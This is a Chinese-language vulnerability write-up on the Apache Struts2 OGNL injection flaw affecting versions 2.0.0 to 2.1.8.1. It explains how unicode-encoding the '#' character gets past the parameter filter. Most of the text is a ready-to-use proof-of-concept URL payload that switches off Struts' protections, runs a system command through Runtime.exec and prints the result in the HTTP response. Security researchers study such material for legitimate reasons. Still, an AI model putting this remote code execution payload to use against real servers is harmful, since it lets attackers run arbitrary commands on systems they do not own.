漏洞简介
OGNL除其他功能外,还提供了广泛的表达式评估功能。 该漏洞使恶意用户可以绕过ParametersInterceptor内置的\'#\'使用保护,从而能够操纵服务器端上下文对象。
因此,例如,要将#session.user设置为“ 0wn3d”,可以使用以下参数名称:
(\'\ u0023\'+\'session \'user \'\')(未使用)= 0wn3d
网址编码后,其外观如下所示:
(\'\ u0023\'%20%2b%20\'session \'user \'\')(未使用)= 0wn3d
通俗的讲:Struts会将HTTP的每个参数名解析为ognl语句执行(可以理解为Java代码)。ognl表达式通过#来访问struts的对象,Struts框架通过过滤#字符防止安全问题,通过unicode编码(u0023)或8进制(43)即可绕过安全限制,从而能够操纵服务器端上下文对象。
影响版本
Struts 2.0.0 - Struts 2.1.8.1
漏洞复现
环境准备
Windows 7 64bit(内含XAMPP)
POC
//URL后接
?(\'\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\u003dfalse\')(bla)(bla)&(\'\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET\')(kxlzx)(kxlzx)&(\'\u0023mycmd\u003d\\'ipconfig\\'\')(bla)(bla)&(\'\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)\')(bla)(bla)&(A)((\'\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())\')(bla))&(B)((\'\u0023myres\u003dnew\40byte[51020]\')(bla))&(C)((\'\u0023mydat.readFully(\u0023myres)\')(bla))&(D)((\'\u0023mystr\u003dnew\40java.lang.String(\u0023myres)\')(bla))&(\'\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()\')(bla)(bla)&(E)((\'\u0023myout.getWriter().println(\u0023mystr)\')(bla))